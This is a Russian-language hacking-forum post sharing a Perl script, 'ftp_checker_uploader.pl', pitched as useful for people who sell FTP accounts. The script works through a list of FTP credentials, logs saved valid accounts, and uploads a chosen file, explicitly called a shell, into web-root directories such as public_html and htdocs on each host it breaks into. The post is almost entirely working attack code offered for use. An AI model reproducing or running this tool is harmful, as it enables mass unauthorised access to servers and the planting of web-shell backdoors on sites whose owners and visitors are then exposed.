Показать сообщение отдельно

ftp_checker_uploader.pl
  #14  
Старый 20.11.2006, 20:02
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме:
1985206

Репутация: 963


По умолчанию ftp_checker_uploader.pl

Еще 1 мой старый сорец. Пригодится продавцам фтп)
Код:
#!/usr/bin/perl

use Net::FTP;

print "\n# $0\n# (C)oded by .:[KSURi]:.\n\n";
print "FTP list filename: ";
my $ftpFile=<STDIN>;
print "Valid accounts list filename: ";
my $outFile=<STDIN>;
print "URLS list filename: ";
my $listFile=<STDIN>;
print "Upload filename: [blank to disable upload] ";
my $shellFile=<STDIN>;
print "Upload remote filename: [blank to disable upload] ";
my $shellFileRemote=<STDIN>;
chomp($shellFile,$shellFileRemote,$ftpFile,$outFile,$listFile);

open(IN,$ftpFile) or exit print "\n[-] Cannot open $ftpFile\n";
my @strings=<IN>;
close IN;
foreach $string(@strings)
{
    chomp($string);
    my($host,$user,$pass,$pair,$tmp);
    if($string=~/^ftp:\/\//i)
    {
        ($pair,$host)=split('\@',$string);
        $tmp=$pair=~s/ftp:\/\///;
        ($user,$pass)=split(':',$pair);
    }
    else { ($host,$user,$pass)=split(':',$string); }
    my $conn=Net::FTP->new($host,Debug=>0,Timeout=>5) or print $host."... FAILED [cant connect]\n"&&next;
    if($conn->login($user,$pass))
    {
        open(OUT,">>$outFile");
        open(LIST,">>$listFile");
        if($shellFile ne ""&&$shellFileRemote ne "")
        {
            my @dirs=$conn->ls();
            foreach(@dirs)
            {
                if($_=~m/public_html|pub_html|htdocs|httpdocs|www|wwwhome|/i)
                {
                    $conn->cwd($_);
                    $conn->put($shellFile,$shellFileRemote);
                }
            }
            print $string."... OK (shell uploaded)\n";
            print OUT $string." (shell uploaded to ".$conn->pwd().")\n";
        }
        else
        {
            print $string."... OK\n";
            print OUT $string."\n";
        }
        print LIST $host."\n";
        close OUT;
        close LIST
    }
    else { print $host."... FAILED\n"; }
}

# ftp_checker_uploader v1.4.pl
# (C)oded by .:[KSURi]:.
 
Ответить с цитированием